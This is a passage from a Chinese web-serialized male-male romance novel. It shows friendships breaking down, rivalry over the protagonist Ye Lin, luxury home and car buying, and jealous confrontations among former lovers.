顾嘉致在楼上听到,恨不得下去把电脑砸了,但他不想看到叶临毫无爱意的眼神,只能窝在房间里埋怨。 他并不是性格勇敢的人,比起解决问题,更喜欢逃避。 这几天已经把身边所有人都怪了一遍,还是没有勇气,再去找叶临。 被拒绝一次已经够可悲了,要是再来一次,那他更比不上顾柘。 顾嘉致注意到叶临在骂人,应该是打游戏被队友气到,正在问候队友所有的亲人。 叶临总是这样,打游戏脾气暴躁,没有耐心,也就只有他才能惯着。 明明两个人相处愉快,为什么就不能平滑地从朋友过渡到恋人呢? 顾嘉致想不通,头疼得厉害。 输了一把游戏,房间里的声音安静下来。 小六抬眼去看天花板,忍不住问:“叶哥,你和楼下那个哥一起来的,刚开始只开了一间房,怎么现在分开住了?” 叶临无奈地挠头:“发生了矛盾,说来话长。” “其实昨天早上我看见,那个哥站在你的房间门口很久,都没敲门,最后还是下楼吃早餐。他的黑眼圈很重,应该是好几天没睡好觉了,挺憔悴的。” “是吗?” 小六凑过来小声八卦:“对啊,你跟那个哥是情侣吧,吵架冷战了?” 叶临的耳尖发烫,像是被刺到,大声否认:“才不是!我跟他只是朋友,闹矛盾了不好见面。” 小六在大学见过不少男同,敏锐地发现他们之间的情愫:“我看着不像啊,感觉楼上那个哥很喜欢你,眼睛里的爱都要滴出来了。” 叶临挥挥手:“哪有这么夸张!不过,我们是很好的朋友,几天前他跟我告白了。我拒绝他,现在就不知道该说些什么。” 小六:“你不喜欢他啊?” 叶临摇摇头。 小六:“他真可怜,那你要跟他说清楚,完全断掉他的念想。然后让他去找新欢,才能让他好起来。” 叶临:“你说的有道理,我待会儿就去。” 打完几把游戏就到了午饭时间,顾嘉致没有下来,就小六和叶临在吃。 其实顾嘉致悄悄地打开门缝,观察过一楼中心的饭桌,发现叶临在吃饭,就没有下去。 叶临果然不爱他,每天照常吃饭玩耍,丝毫没有因此影响到自己的心情,更不会意志消沉。 而他已经饱受爱情的折磨,茶饭不思,辗转难眠,像个活死人。 或许是民宿的伙食太好了,还有个玩伴,叶临的气色好了很多,容光焕发。 顾嘉致握紧门把手,目光扫过那张脸的每一处,捕捉到眼神,连忙关上门。 过了一会儿,能够听到脚步声在靠近。 越来越清晰,胸腔里像是有鼓点,随着脚步而敲击。 咚咚咚—— 紧接着是熟悉的叶临声音。 “顾嘉致,你不怕饿死吗,快出来吃饭。” “喂,不会还在纠结之前的事情吧?” 顾嘉致贴着门板去听他的声音,没有回答。 有股暖意顺着门缝涌进来,将他整个人包裹住,像是进入了蛋壳里,安心惬意。 “好吧,我觉得有必要重新跟你申明。我不可能跟你谈恋爱,还是做回朋友吧,就像以前那样。 你回到梵星,跟我一起打拼事业。以后你结婚生子了,我还能喝你的喜酒,给你的孩子送红包,让他认我做干爸呢。” 那股暖意消失,风雪将他裹挟,像是来到了极地冰川,从外冷到内,就连血液都冻结。 顾嘉致听不得这种话,转动把手打开门,直面叶临。 “你怎么能说出这种话!觉得我可笑,还要故意刺。激我是吗!” “不是,我没刺。激你啊?” 叶临无奈地摊手,他看到顾嘉致的眼袋惊呆了,难以理解顾嘉致怎么因为这种小事而难受。 “叶临,你不能这么没心没肺!跟我做了那么事情,还要逼我跟你做朋友,帮你管公司。 甚至要我结婚生子,出席我的婚礼,送我红包!你不觉得,你这样很过分吗?” 顾嘉致刚开始是嘶吼着抱怨,后面语气逐渐低落,慢慢的还能听到绝望的哭意。 叶临被他指责,哪里能忍,毫不示弱:“我哪里过分了,我把你当成真朋友,比亲兄弟还要亲。我有什么都会给你,你遇到困难,也会帮忙。 当初你进急救室,我在外面比你爸妈还要着急,求菩萨求上帝。怕你真死了,我叶临就再找不到这么好的朋友! 后面你失忆,说了那么多难听的话,我也看在共患难的份上忍了,至少你活下来嘛,其他的都是浮云。我已经掏心掏肺了,你还要怎样!” 顾嘉致看到叶临说完话气息不匀,眼眶泛红,失望中又掺杂着不舍,三分愤怒七分委屈。 叶临很少会有流露出真性情的时候,大部分时间都是为了利益而扮演成各种样子。 骗梁文乐的钱,骗顾柘和楚诏的能力,为了功成名就无所不用其极。 可他今天面对顾嘉致,已经自剖胸膛,将整颗真心捧出来,让顾嘉致看清楚。 顾嘉致确切地感受到自己在叶临心中的份量,比起亲生父母,叶临更希望他好。 可并不是他想要的位置,他希望叶临把自己摆在心脏里名为“爱人”的房间,而不是“朋友”。 爱人拥有排他性,是占有,是偏爱,是永远绑定。而朋友有兼容性,是分享,是普遍,是短暂。 他无法容忍叶临身边有其他人,当然不接受朋友这个称呼。 “在你眼里,我就只是朋友,完全不可能成为恋人吗?” “当然是朋友,你不要学顾柘犯病,天天爱来爱去的,毫无意义!” 叶临好想给顾嘉致一拳,让他清醒过来,不要执着于小情小爱。可是顾嘉致的状态好差劲,双眼无神,形似枯树,好像稍稍用力就会倒下,还是算了。 顾嘉致快要站不住,只能靠着门框才能勉强维持平衡。 他的声音很低,像是临死前的遗言:“叶临,我不能接受只做你的朋友。” 叶临发现自己如同对牛弹琴,而顾嘉致烂泥扶不上墙,气得大喊:“不做朋友,想绝交是吧!” 顾嘉致的眼眶酸涩,马上就要落泪。 他不想让叶临看见自己狼狈的样子,立即关上门,靠着门板瘫坐在地上,久久不语。 门外传来叶临愤恨的声音,像是大战宣言。 “好,那我们绝交!下次见面就不是朋友了,是陌生人,你别跟我打招呼,我也不会叫你!” 听起来孩子气的话,却是最锋利的刀,眨眼睛就将顾嘉致削成肉泥,什么也不剩。 顾嘉致又开始后悔,很想扇死曾经的自己。 如果最开始,不借用朋友的身份占便宜,正大光明地跟叶临暧昧,是不是就能正常恋爱,结婚,修成正果? 可是时间无情,从不能倒流,他的爱情也像流水般逝去。 今天民宿的老板和他老婆都不在,就小六一个人。 他吃完就*去打游戏,听到楼上有动静,连忙跑上去吃瓜。 结果就看到红着眼睛的叶临站在自己房间门口,久久没动,像是遭受了巨大的打击。 小六走过去询问,没有得到回答,只好说些好话哄他,还建议他下楼打游戏。 叶临看了顾嘉致紧闭的房门,急匆匆地往下跑,想去海边散散心。 谁能想到,付出真心交到的好朋友,居然喜欢他,还要因此跟他决裂。 来到这个海岛之前,他曾以为顾嘉致会是他一辈子的好朋友,他们都会功成名就,陪伴彼此到老。 然而,这段刻骨铭心的友谊,却以绝交画上句号。这显得从前付出这么多的自己,像个笑话。 阴天的海水呈现出泥灰色,看起来很脏,像是混浊的洪水。 海浪翻涌着,漫上岸留下许多白色泡沫,风吹在脸上是咸腥的,并不舒服。 叶临冲着大海骂顾嘉致是白眼狼,忘恩负义,还是大蠢货,没上进心。 骂了好几句,还是没舍得诅咒顾嘉致。 小六跟在叶临后面,听到这些话,忍不住叹气。 等到他完全发泄完,坐下来休息,这才凑过去问。 “我感觉那个哥在你心里很重要,这样绝交,你心里肯定会难受吧?” 当然会难受,发泄完怒气,就会感觉到巨大的失落感,像是不断地下坠,无法停止。 “我感觉以前跟他交朋友的自己像个蠢货,白白付出那么多。” “唉,这个谁也料不到。但是你把话说绝了,他应该就会想开,去喜欢别人吧。” “谁管他以后找谁,反正我们没关系,都跟我无关。” 叶临猛地抬头,忽然看见不远处有个熟悉的身影,不由得站起来。 小六顺着他的目光看过去,只见一个穿着白色衬衫的男子走过来。 近了才看清,这个男子气质儒雅,长相斯文,像是天天坐在写字楼里,年薪百万的高级精英。 仔细观察,还会发现他身上的着装不菲,像个要来收购海岛的老板。 小六正想出声问老板,要不要投资他们家的民宿,就听到叶临先开口。 叶临诧异:“你病好了?” 沈邵点点头,看向旁边的小六,递出名片:“我有话跟他说。” 小六拿过烫金的名片,立即回到民宿里,不打扰老板说话。 沈邵告诉叶临,顾柘之前派了很多人守着医院,不让他随意活动。 直到顾柘出车祸,那些人手才被撤走。 而他出院后,收到楚诏的消息,先去管理梵星,确保公司不会出事,才跑来接叶临。 叶临很欣赏他的事业心,由衷地竖起拇指,扬言公司就需要他这种理智的人才。 沈邵附和地笑起来,问起顾嘉致的事情。 叶临全都告诉他,还骂顾嘉致不识相。 沈邵得到了满意的答案,赶紧哄他回公司:“顾柘已经不成气候,外面根本没有他的人。 顾嘉致为了留你在这里,故意撒谎。快回去吧,梵星需要你主持大局。” 叶临觉得他说的有理,回民宿收拾东西,准备离开。 其实沈邵的病早就好了,故意不出院,等待时机而已。 现在情敌们都倒了,他当然要出来。 顾柘和楚诏住院,顾嘉致失去叶临的信任,简直大获全胜。 三个蠢货,怎么配跟他斗! 第73章 第73章“顾嘉致,我已经赢了”…… 实际上梵星在沈邵的管理下正常运转,还扩充了不少项目,并不需要叶临主持大局。 叶临回到公司后,只是告诉员工们,之前的顾总有事已经离开,现在重新换回沈邵。 其他公司的员工可能不习惯管理层的变动,但梵星历经好几个总裁,早就习惯,转而去讨论叶临的绯闻八卦。 有人猜测,叶总应该跟之前的顾总分手了,跟沈总旧情复燃,所以才会导致现在的局面。 顾柘的能力优秀,但他的雷霆手段,很多员工都受不了,怨声载道。 也就是沈邵的中庸之法,最受员工们喜爱,梵星的工作氛围松快许多,不再紧张。 叶临本来想回到沈邵的公寓住,但他想到这个公寓里曾经发生过的事情,心里膈应,准备买房。 顾柘住院后,他的账户就不再给梵星提供资金。 现在的梵星已经渡过最艰难的时期,能够实现自主盈利,短时间内不会出现资金困难。 叶临有三个亿的资产,留一个亿做备用资金,还有两个亿可以准备买房和车。 既然是在最繁华的大都市,还是公司老板,就需要豪车和豪宅来彰显身份。 出门开便宜车,别人都懒得搭理,更别说结识厉害的人脉了。在上流社会,男人的房子和手表就是最好的名片。 豪宅也得仔细挑选,价格昂贵的房子可以筛选出一堆优质的邻居。住在豪宅区,更能开拓社交圈,积攒高质量的人脉,这些都能帮助到公司后续的发展。 叶临是个生活节俭的人,要是以前,他肯定舍不得买豪车豪宅。可是跟这些富二代混久了,他就明白,有些地方是脸面,确实不能省钱。 只不过,他在买房的事情上纠结了很久,迟迟无法做决定。 沈邵端着饭菜从厨房里走出来,看见叶临愁眉苦脸,手里拿着各个房企的广告。 “你想买房了?” “对啊,现在公司不缺钱,我现在也有钱买房了,也该买个房子安定下来。” 叶临抬头去看沈邵,发现桌上摆满了自己爱吃的饭菜,赶紧拿出筷子去夹。 “你想买哪个区域的房子,什么户型的?” “我还在纠结。” 沈邵注意到旁边还有张小纸条,用蹩脚丑陋的字写着买房预算1.4亿,买车预算6千万。 看得出来,叶临要花两个亿在房子和车上面。 沈邵拿出电脑,帮叶临仔细地挑选,做汇报文件。 叶临正在吃饭,看到旁边的沈邵已经拿出笔记本电脑做图,戴着防辐射的眼镜,神情认真,像是在工作。 难以置信,这个家伙居然能在饭厅这种地方专注工作。 是天生的工作狂吗? 叶临把碗筷递过去,劝道:“先吃饭吧,吃完饭再忙。” 沈邵目不转睛地盯着屏幕,敲击键盘的手指飞快,头也没抬,似乎进入忘我的境地,感知不到外界的变化。 这让叶临想起来,顾柘忙工作的时候,他叫一声好歹能有回应。如果踹一下,顾柘就彻底没有工作的心思,要扑过来。 看得出来,沈邵的自制力比顾柘强,对自己很严苛。 叶临身为老板,很满意沈邵这种员工,但身为朋友,还是会担心沈邵的状况。 他敲敲碗,又提醒了一遍。 沈邵总算回他,还是等忙完才会吃饭。 算了,反正饿的不是自己,管那么多做什么。 叶临移动到沙发上,躺着准备打游戏。 过一会儿,沈邵终于做完ppt,投在电视屏幕,拿出激光笔,点击屏幕画面,开始讲解。 他像是在跟领导汇报工作,用词精确,逻辑通顺,语速很快,毫无废话。 叶临坐起来看,无奈道:“这里是公寓,又不是公司,你怎么用这种语气说话?” 沈邵察觉到自己的失态,轻声道歉:“可能是我职业病犯了,这是我总结出来的资料,你可以看看。” 叶临发现他做的汇报很认真,每页都详细地说明了每个房子的优缺点,以及评价星级,还有丰富的配图和详细数据分析。 如果他是投资商,看到沈邵这份报告,肯定愿意投钱。 沈邵的工作能力,真没得说。 看完所有,叶临挑出两个房子。 一个是环境优美,噪音很少,周边有娱乐设施的别墅,价值1.4亿,距离市区较远。 另外一个是位于商业中心区域的大平层,可以俯瞰整个城市的江景,距离公司也近,价值1.2亿。 沈邵见叶临纠结犹豫,提议去实地勘察,他特意空出一天的时间,陪叶临看房子。 先去的大平层,开车二十分钟就能到达,一路上都有专业的销售解说。 进门的那一刻,叶临就被房间里270度的窗景所吸引。 极目望去是宽阔平静的江面,倒映天空,像是一块磨平了的宝石,清透干净。 江面上有巨龙般的大桥,上面车流如织。两岸高楼林立,璃幕墙体在阳光下闪烁着璀璨的光芒。 这个房子离地上百米,视线不受阻碍,如在云端的仙境,风景优美。 800平方米的使用面积,宽敞舒适,可以容纳许多房间。还自带十个停车位,满足户主的基本需求。 叶临走到窗户边往下看去,高楼大厦都变得渺小,而车流和人流都变成了密集的小点,像是蚂蚁。 这瞬间有种成为帝王,俯瞰众生的爽感。 原来这就是住在高层豪宅的感觉,每天醒来都像是当皇帝。 叶临绕着这个窗户走,越看越喜欢,恨不得坐在这里一整天,俯视芸芸众生。 这个房子实在是太棒了! 不想去郊区看别墅,无聊死了,就要住在繁华地段的最高处,享受人生。 叶临满意地点点头,又问起其他的细节。 销售员看出他心动,赶紧补充:“我们可以根据客户的喜好定制装修。” 叶临对装修没啥要求,看向旁边的沈邵,挥挥手:“我没啥要求,你去问问他,有什么想装的,全装上。” 这瞬间,他有种当家做主的成就感。身为男人不需要那么多要求,另外一位的感受才是最重要的。 销售员赶紧跑到沈邵面前询问,拿出笔记本记下要求。 沈邵受宠若惊,没想到叶临买新房子,居然会把自己的需求考虑进去。这种行为,相当于在说,“我要跟你过一辈子。” 销售员也意识到沈邵的身份,还贴心地赠送了一些价值几十万的饰品,譬如袖扣和领带夹。 他之前接待夫妻的时候,就会给女主人送小饰品,现在也一样。 沈邵并不稀罕那点小饰品,可这代表了他被外人看成叶临的伴侣,还是欣然地收下,露出标准的微笑。 销售员记好沈邵的要求,跟叶临讲解合同细节。 叶临没仔细听,干脆利落地签合同,就等着过段时间入住。 买完房子,接下来就是要买车子。 车子的可选性更多,琳琅满目,看不过来。 而且叶临对四轮的没多大兴趣,他更喜欢两轮机车,可以接触到风,非常自由。 思来想去,他把车子的选择权交给沈邵。 沈邵晚上处理完文件,回卧室准备休息。 洗漱完刚坐下,就看到叶临将满是豪车的页面递给自己,不由得愣住。 叶临:“你挑一辆,预算八千万。” 沈邵:“不是你买车,为什么让我挑?” 叶临:“我不喜欢开这种车,以后还是你来开。你平时管公司,又要出门应酬,就需要一辆豪车震场子。” 沈邵故作不懂:“是吗?你以前很抠门,我跟你要两千万的都不给,现在倒是愿意买豪车了。不会觉得这种东西,中看不中用吗?” 叶临拿出几盒手表:“以前是以前,我现在有钱了就要买。打个比方,女孩子出门都要穿大牌裙子,戴名贵珠宝,才能受人尊重。你出门也得开豪车,戴名表,才能谈生意。” 沈邵扫过盒子里的名表,也不知道是梁文乐送的,还是顾柘送的,居然好意思拿来送给他,真是作践他的感情。 叶临拿起最贵的表,要帮沈邵戴上:“梵星能到今天,你有很大的功劳,这块表戴着,以后多谈几个大单子。” 沈邵推掉表:“我不戴别人送你的表,我要你自己买给我。” 这句话就是在耍小性子,有点恃宠而骄的意味。 叶临哪里想到沈邵会说出这种话,在他眼里,沈邵都是贤惠温柔,体贴懂事的模范。 有种玉璧破裂的厌恶感。 叶临收起盒子,出言讽刺:“有得戴都不错了,还敢挑!你还当自己是沈家少爷呢,都被逐出沈家了! 也就我比较良心,念着你吃的苦,想给你补偿,换成别人,早就不管了。” 沈邵才刚跟他有了结婚的幸福感,现在可不敢随意惹怒叶临,赶紧伏低做小,故作可怜地哭诉:“因为那些表都是顾柘和梁文乐送给你,我才不想要。 你知道的,我被梁文乐打成重伤,休养半年还有后遗症。你失踪后,顾柘派人来医院监视我,天天折磨人。我对他们有怨气,就不喜欢这些表。” 叶临想到沈邵被梁文乐打得血肉模糊的画面,心有不忍。 至于顾柘派人欺负沈邵的事,虽然不是亲眼所见,但他熟悉顾柘的性格,肯定干得出这种烂事。 沈邵见他脸上的不满褪去,抓住他的手腕,轻声道:“其实只要是你送给我的表,几百块,几千块,我都喜欢。重要的不是钱,是心意。” 几百几千的表能叫表吗,明明就是电子垃圾。 叶临调出名表页面递给他:“我现在是什么身份,怎么可能送你几百块的表。你喜欢什么,我新买一个就是了。” 沈邵偷偷攥紧他的手:“这周末我们去逛商场吧,买表还可以选车。” 叶临点点头,看向衣柜里的衣服:“再买几件新衣服,你现在应该没多少钱买衣服了,出门还是要一身好行头。” 沈邵当然有钱买衣服,但他就是享受叶临给自己花钱,故意附和:“好啊,到时候你亲自给我挑。” 叶临“嗯”一声,就被沈邵亲了,扭头去配合。 沈邵的服务意识最好,总是以叶临感觉为主,能够给予最好的体验。 叶临像是陷进云团里,哪里都是软绵绵的,紧接着就感觉到酥酥麻麻的痒意。 房间里的灯暗下来,被子拱成一团,还会变化出各种形状。 有只纤细白净的手探出来,指节都透着粉,微微发颤,很快又被另外的大手扣住。 紧接着就有断断续续的声音溢出来,像是猫咪哼叫,又像是流水潺潺…… 周末有很多情侣会逛商场,随处可见恩爱的男男女女。 商场里各种灯牌晃眼,还播放不同类型的歌曲,大型电梯上如同高空坠落的瀑布,缀着五彩的花朵。 沈邵也想牵叶临的手,试探性地触碰手背,没有反抗,这才牵住。 叶临还沉浸在有钱人的爽。感中无法自拔,哪里会注意到沈邵的小动作。 刚刚他领着沈邵去挑手表,销售员给沈邵换了五六个,才选定了一块三百万的。 销售员看沈邵选定手表后,就恭敬地把刷卡器递给他。 这瞬间,他变成大佬,而沈邵是他豢养的金丝雀。 身份的巨大飞跃,给叶临带来了超乎一切的爽感。 他现在才懂,为什么电视剧电影里,那些霸总都很喜欢带情人去买东西。 原来为下位者付钱,可以同时获得无上的优越感。 接下来去买车,也是由沈邵的意志为主,最后是叶临买单。 周围的人都会用崇敬欣赏的眼光看叶临,俨然把他当成多金深情的好男人。 叶临的虚荣心得到了满足,没心疼花出去的六千万。 付完款,车就会送到小区,现在还有时间,可以去买点衣服。 沈邵挽着叶临的手,刚来到一家服装店门口,忽然看到顾嘉致的身影,于是停下来。 叶临正疑惑,抬头却看到已绝交的好朋友。 目光对视的刹那间,双方都有千言万语,但都没有说出口。 顾嘉致不是偶然出现,他是打听到叶临在这里,才跑过来,没想到会遇到沈邵和叶临牵手逛街。 叶临跟他闹绝交后,难受了几天,后面又强迫自己忘记这件事,现在再次想起来,心中有了酸涩之感。 沈邵敏锐地发现他们之间的情绪变化,朝着顾嘉致走过去,笑着打招呼:“好巧啊,没想到会在这里遇到你。” 顾嘉致抬眼看他,脑海里闪过无数个背刺的画面,咬牙道:“不巧。” 沈邵抬起手表看时间,故意显露出刚买的手表:“叶临,你给我买的这块表,时间好像不准。” 叶临听到三百万的表不准,像是钱打了水漂,立即从惆怅的情绪中出来,拿出手机印证:“现在三点,你那里多少。” 沈邵晃了晃手表:“三点零一分,我调回去就好了。” 顾嘉致盯着他手上的表,像是看见了一只蟑螂,恶心反胃,骂道:“你现在真刻意,演都懒得演了!” 沈邵似笑非笑,凑过去压低声音挑衅:“顾嘉致,我已经赢了,为什么要演?” 顾嘉致气昏了头,抬手就给了他一拳,骂道:“卑鄙小人!” 沈邵挨了一拳,往后踉跄几步,刚好被叶临扶住,脸上还有笑意,声音却悲戚:“我不知道你和叶临之间有什么矛盾,但你打了我,就不要跟叶临计较了,他真的很好。” 顾嘉致忍无可忍,又想冲上去再打一拳,结果被叶临拦住。 叶临挡在沈邵面前,神情严肃:“这里是商场,在这里打人,你要不要脸!” 顾嘉致的怒气像是被戳破的气球,顷刻间就消散干净,转而感到悲伤委屈,指着沈邵的眉心骂:“你居然护着这种厚颜无耻的贱人,眼睛瞎了吗?” 沈邵躲在叶临身后,本来是故作柔弱无辜,听到他的这句话立即站出来:“你骂我可以,别骂叶临。” 顾嘉致失望至极:“也是他蠢,才会被你这种混蛋蒙骗!” 叶临还没回嘴,就看到沈邵朝着顾嘉致的膝盖踢了一脚。 “顾嘉致,全世界就你最蠢。之前欣赏我的能力,觉得我是你的商业好伙伴,现在知道真相就变脸了,真好笑。” 沈邵故意提起他们合作创业的艰难岁月,眼角眉梢尽是嘲讽的意味,活脱脱一个奸计得逞,洋洋得意的小人。 顾嘉致如鲠在喉,面如土色,又要挥拳跟他打。 商场周围的人都围过来,想看热闹。 叶临害怕被人发到网上,影响公司的名誉,抱住沈邵的腰往后拖,劝他冷静,不要再打。 沈邵达到了挑衅的目的,不想让叶临为难,就没有再跟顾嘉致纠缠,抓住叶临的手往外走。 四周议论的人见状,逐渐散开,还可惜没有看到一场狗血大戏。 顾嘉致没有追上去,看着他们靠在一起的背影,心如刀绞。 他记不清自己怎么离开商场,又怎么回到家里,反正一路的景色都与地府无异。 很久很久都没听到声音,更察觉不到有人在身边。 直到顾母推了他的肩膀,这才勉强回过神来。 顾母担心他的精神状态,建议他去医院看精神科,吃点抗抑郁的药。 顾嘉致拒绝了,还认为他亲哥顾柘才应该去看,省得天天发癫不正常。 顾母养育这对双胞胎二十多年,也知道他们之间有矛盾,尽量地调解,尚且在正常的范围内。 可是最近,两兄弟之间的矛盾也来越大,像是地面撕开了口子,要成为恐怖的裂谷。 必须要想办法调和了,不然家宅难安。 顾母翻出顾柘住院的照片,心疼道:“你有空过去看看你哥哥,他出车祸受了很重的伤,需要家人的关怀。” 顾嘉致推开手机,冷声嘲讽:“爸妈才是他的家人,有你们去看就好了,让我一个外人过去,只会加重他的病情。” 顾母用一种难以言喻地表情注视着小儿子,像是看见了陌生人,无奈地摇头。 “你怎么能这样说呢?你和小柘一出生就在妈妈的肚子里了,当时做b超的时候,医生还说你们两个感情很好,经常嬉戏玩耍。你们是双胞胎,是彼此最亲的人啊。” “我倒宁愿顾柘出车祸死了,就留我一个人。” “啪——” 顾母扇了他一巴掌:“你疯了,这样诅咒你亲哥!” 顾嘉致红了半张脸,大声反驳:“是顾柘先疯的!妈,你知道吗,明明是我先遇到叶临,跟叶临谈恋爱!顾柘不要脸,偷了我的爱情,还害我和叶临分开!” 怎么又是顾嘉致偷了顾柘的爱情,到底怎么回事? 顾母快晕过去,这事情太混乱了,她一时之间都不知道该说谁。 顾嘉致情绪低落:“我今天去见叶临,他跟沈邵像是新婚了一样。如果不是顾柘,今天陪他逛街买表的人,应该是我!” 顾母是局外人,脑子清醒,说了句公道话:“说的好像叶临喜欢你一样!我算是明白了,你和小柘都喜欢叶临,但他不喜欢你们,喜欢沈邵。既然他们两情相悦,就不要去打扰。” 顾嘉致被人点破事情的本质,瞬间就崩溃了。是的,一切的根源就在于,叶临不喜欢他。 顾母劝这个天生就笨的次子,劝他忘记叶临,回归正轨。 顾嘉致没回答。 三天后。 病房里弥漫着消毒水味,屏幕播放着英文电影,小桌板上有丰盛的早餐。 顾柘正在进食,忽然听到推门声。 来人速度太快了,还没看清人影就到了跟前,紧接着衣襟就被揪住,往上提起来。 顾柘的脖子被勒疼了,摊开手问:“好弟弟,你怎么来看我了?” 顾嘉致松开手,让他的头磕到墙壁:“把梵星的原始股给我!” 顾柘磕到后脑,疼得呲牙。 之前他跟叶临签合同的时候,要了一部分原始股,是为了后续上市能够获得巨大的利润。 现在顾嘉致来要,说明他遇到了困难。 如今,楚诏进医院,也就沈邵能兴风作浪。 顾柘嗤笑一声:“怎么,斗不过沈邵,就想用我的原始股?” 顾嘉致警告:“不交出来,我现在就把你打成终身残疾。” 顾柘笑得更厉害:“嘉致啊嘉致,你一手好牌打得稀烂,要我怎么说你好呢。” 顾嘉致掐住他的脖子,目欲眦裂:“信不信,我现在就让你去死。” “我死了,你也得不到叶临。当初要是我先遇到叶临,哪有梁文乐沈邵的事,他早就跟我结婚,进了顾家。顾嘉致,你就是个废物,占了先机都能把事情搞砸!” 顾嘉致手上的力气越来越重,一语不发。 顾柘的脸已经变成青紫色,快要喘不过气:“我怎么有你这种蠢货弟弟,连个沈邵都斗不过!” 顾嘉致还想要原始股,松开手嘲讽:“哦,顾柘,你以为自己很厉害吗 叶临亲口跟我说的,他这辈子最后悔的事情就是遇到你。如果能重来,他肯定要离你远远的,免得受折磨。” 有再厉害的手段又如何,反正都得不到叶临的心,只有怨恨。 顾柘说不出话,他从来没有拥有过叶临的一丝在意和心疼,而顾嘉致一直都有。 顾嘉致学着他的语气:“我怎么有你这种自欺欺人的哥哥,卑微求爱却得到恨意的感觉不好受吧。这么看来,你连梁文乐都不如,更别说沈邵了。” 顾柘怒吼:“住口!” 两个失败者见面,互戳伤口,只有疼痛和怒意,毫无意义。 顾柘冷静过后,看向弟弟的眼睛:“我可以给你原始股,帮你对付沈邵,但有个条件。” 两双一模一样的眼睛对视,无需言语,就能知道对方的心意。 与其内斗,不如合作。 顾嘉致:“可以。” 第74章 第74章凭什么用正官的语气! 楚诏病好以后,又可以回到梵星的研发部上班,工资还比原来高上许多,只是话事人换成了沈邵。 住院期间,叶临来看过他几次,但每次都是有沈邵陪同,这就导致他有很多心里话都无法说。 现在回到公司,总算有机会跟叶临单独聊天。 可惜叶临懒惰,大部分事情都交给沈邵,很少会出现在公司。 恢复工作两周后,他才在公司看见叶临。 叶临坐在沈邵的办公室里,两个人也不知道在聊些什么,时不时笑起来。 沈邵应该是故意不关门,非要让外面的人看清楚自己和叶临之间的关系。 不知道说到什么,沈邵站起来帮叶临倒茶水。 叶临拿起茶杯,嫌弃地瞥一眼,嘴里嘟囔着,应该是在抱怨。 楚诏跟叶临同居过一段时间,知道他的喜好,最讨厌寡淡的茶水。 要是他在办公室里,才不会给叶临倒茶,而是准备好喝的饮料。 不知不觉间,他就顺着心意走到办公室门口。 听到叶临叫他的名字,才清醒过来,停住脚步。 沈邵手里拿着茶在喝,微微抬眼看楚诏,隔着眼镜都能感觉到眼神中的讥讽。 叶临许久未见楚诏,拍拍旁边的位置,冲他招手:“进来坐啊,刚好就聊到你了。” 楚诏刻意贴得很近,刚坐下来就听到沈邵的嘲讽。 沈邵:“也快到夏天了,你挨着叶临,他会热的。” 叶临:“到夏天了嘛,不是才五月份?” 楚诏没听沈邵的话,偏要挨着叶临坐,不服输地看向对面的沈邵。 沈邵没心情喝茶,用力将茶杯放下,也不说话。 楚诏没理会他的目光,看向旁边的叶临:“我发现公司的系统可以升级,正想找你谈谈预算的事。” 叶临指着对面的沈邵:“你去跟沈邵说就好,我不管这些麻烦事。” 沈邵松了一口气,语气慢悠悠的:“算账很复杂,叶临不喜欢受累,他不管很正常。” 叶临满意地点点头,拿出手机给楚诏看:“我跟你说,我最近迷上了这个游戏,可好玩了。” 楚诏凑过去滑动屏幕,贴心地跟他说了游戏升级的攻略,并且添加好友:“我可以带你。” 沈邵对游戏的事一窍不通,更不可能陪叶临打游戏,现在看到两个人贴得近,立即提醒:“叶临,到点该回家吃饭了。” 叶临听到他说吃饭,肚子里馋虫立刻就叫了,立即站起来,催促沈邵快点回去。 楚诏捕捉到关键词“回家”,起来问:“你们住在一起?” 沈邵脸上又浮现出笑意,语气轻快:“对啊,前段时间我陪着叶临去看新房,现在都装修好了,住进去挺舒服的。” 这仿佛是个新婚妻子在说,“我陪着老公去选婚房,装修好了我们就住进去,日子过得和和美美。” 楚诏利用沈邵的计策对付顾氏兄弟,可是自己住院,反而让沈邵捡漏,气得面部线条都绷紧。 叶临想到新房子还没有过客人,于是按住楚诏的肩膀,提议道:“要去我的新家看看嘛,顺便吃个饭,沈邵的厨艺比外面的大厨还厉害,保证能让你大饱口福。” 沈邵心里不情愿,表面还要佯装贤惠:“来吧,家里装修还从来没有过客人,你算第一个。” 楚诏听着他们的语气,俨然成了新婚夫夫,心在泣血,还是要答应。 新家的装修风格简洁明快,颜色多以低饱和为主,减少繁复的装饰,更注重空间的协调。 进门就看见不远处的白墙前放着黑色花瓶,上面装着一支淡黄色的花。 旁边有个半开放的茶室,挂了几幅古画,摆放棋盘。 其他空间也是以简朴淡雅为主,完全不是叶临喜欢的风格,应该是沈邵的手笔。 叶临领着楚诏来到落地窗,指着外面的风景说自己的体验,告诉他,站在高处看下方,心情会很好。 沈邵进入厨房,里面很快传来做饭的声音。 楚诏对窗景不感兴趣,目光落在某个房间,里面放置好几台电脑,是赛博装修风格。 他指着房间问:“这是你的电竞室?” 叶临点点头,带着他进去逛,骄傲地介绍里面的每一个器材。 原来他只要求了电竞室,其余房间的装修风格全都是由沈邵做主,这才导致房间整体风格呈现出古朴典雅。 楚诏:“这个房子是你出资买的,让沈邵决定用什么风格,你不觉得他在白嫖,很过分吗?” 叶临:“没有吧,我只是觉得装修麻烦,懒得管全交给他还轻松。只要电竞室符合我要求就行,其他的无所谓。” 楚诏:“你都把他当成女主人了,难道要他一直在这里住下去吗?” 叶临:“不是,你误会了。他现在没多少钱,等以后梵星上市,他有钱买房,就搬出去。” 楚诏还想质疑,忽然听到敲门声。 沈邵穿着围裙出现在门口,用一种宣誓主权的眼神看向楚诏:“吃饭了。” 叶临率先跑出去,像只欢快的马儿要去吃肥美的草。 楚诏跟在后面,刚想出去就被沈邵推了肩膀,不得不往后退。 沈邵挡在电竞室门口,发号施令:“我之前说过,可以容忍你的存在,但这并不代表你能离间我和叶临。私底下做点小偷小摸的事情可以,别挑战我的底线。 第一,不能让叶临在你那里留宿,第二,不能挑拨我们之间的关系,第三,好好为梵星工作。做不到的话,我会让*你比顾柘更惨。” 楚诏听着他高傲的语气,俨然已经把自己当成叶临的合法丈夫,冷笑道:“你凭什么这样跟我说话,以为自己高枕无忧了!” 沈邵从来没把楚诏放在对手的行列,只是当成一把好用的刀。 这把刀让顾氏兄弟两败俱伤,也算实现自身价值,可以施舍点好处。但工具就是工具,绝对不能入住家宅,更不能独占叶临。 叶临在饭厅尝了几口菜,发现他们还没来,冲着电竞室喊。 两个人这才走过来,但间隔很远,彼此都不说话。 看起来关系不好。 可是他们同在梵星工作,一个是管理人才,一个是技术人才,相当于他的左膀右臂。 